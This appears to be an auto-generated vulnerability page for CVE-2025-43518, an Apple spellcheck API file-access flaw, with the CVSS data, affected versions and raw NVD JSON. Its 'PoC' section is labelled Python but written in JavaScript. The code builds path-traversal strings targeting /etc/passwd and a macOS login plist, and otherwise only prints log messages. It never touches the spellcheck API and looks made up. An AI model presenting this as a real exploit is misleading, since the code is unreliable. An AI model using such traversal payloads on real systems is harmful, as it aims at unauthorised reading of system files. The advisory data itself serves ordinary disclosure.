Security Vulnerability Report
中文
CVE-2025-43518 CVSS 3.3 LOW

CVE-2025-43518

Published: 2025-12-12 21:15:57
Last Modified: 2026-04-02 19:20:59

Description

A logic issue was addressed with improved checks. This issue is fixed in iOS 26.2 and iPadOS 26.2, macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2, watchOS 26.2. An app may be able to inappropriately access files through the spellcheck API.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple iOS < 26.2
Apple iPadOS < 26.2
Apple macOS Sequoia < 15.7.3
Apple macOS Sonoma < 14.8.3
Apple macOS Tahoe < 26.2
Apple watchOS < 26.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43518 PoC - Spell Check API File Access // This PoC demonstrates how an application might exploit the spell check API // to access files outside its sandbox // Note: This is a conceptual PoC for educational purposes only // Step 1: Create a malicious text input that triggers file access function triggerSpellCheckFileAccess() { const maliciousInput = [ // Attempt to trigger dictionary file loading 'A' + '../'.repeat(5) + 'etc/passwd', // Target specific system files through spell check 'word' + String.fromCharCode(0) + '../Library/Preferences/com.apple.loginwindow.plist' ]; return maliciousInput; } // Step 2: Monitor spell check API file access function monitorSpellCheckAccess() { // In a real scenario, this would use Instruments or similar tools // to monitor file system access from the spell check service console.log('Monitoring spell check service file operations...'); } // Step 3: Extract accessed file content function extractFileContent(filePath) { // Conceptual extraction mechanism // Real exploit would require specific API hooks console.log('Attempting to access:', filePath); } // Execute PoC console.log('CVE-2025-43518 Spell Check API Exploitation PoC'); triggerSpellCheckFileAccess().forEach(input => { console.log('Testing input:', input); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43518", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:56.630", "lastModified": "2026-04-02T19:20:58.720", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logic issue was addressed with improved checks. This issue is fixed in iOS 26.2 and iPadOS 26.2, macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2, watchOS 26.2. An app may be able to inappropriately access files through the spellcheck API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.3", "matchCriteriaId": "8E37DC2A-33E6-480B-8DFE-4F6558F0A895"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.3", "matchCriteriaId": "3428C860-E02D-4FE9-96F4-58EEAAB8321D"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125888", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]"}]}}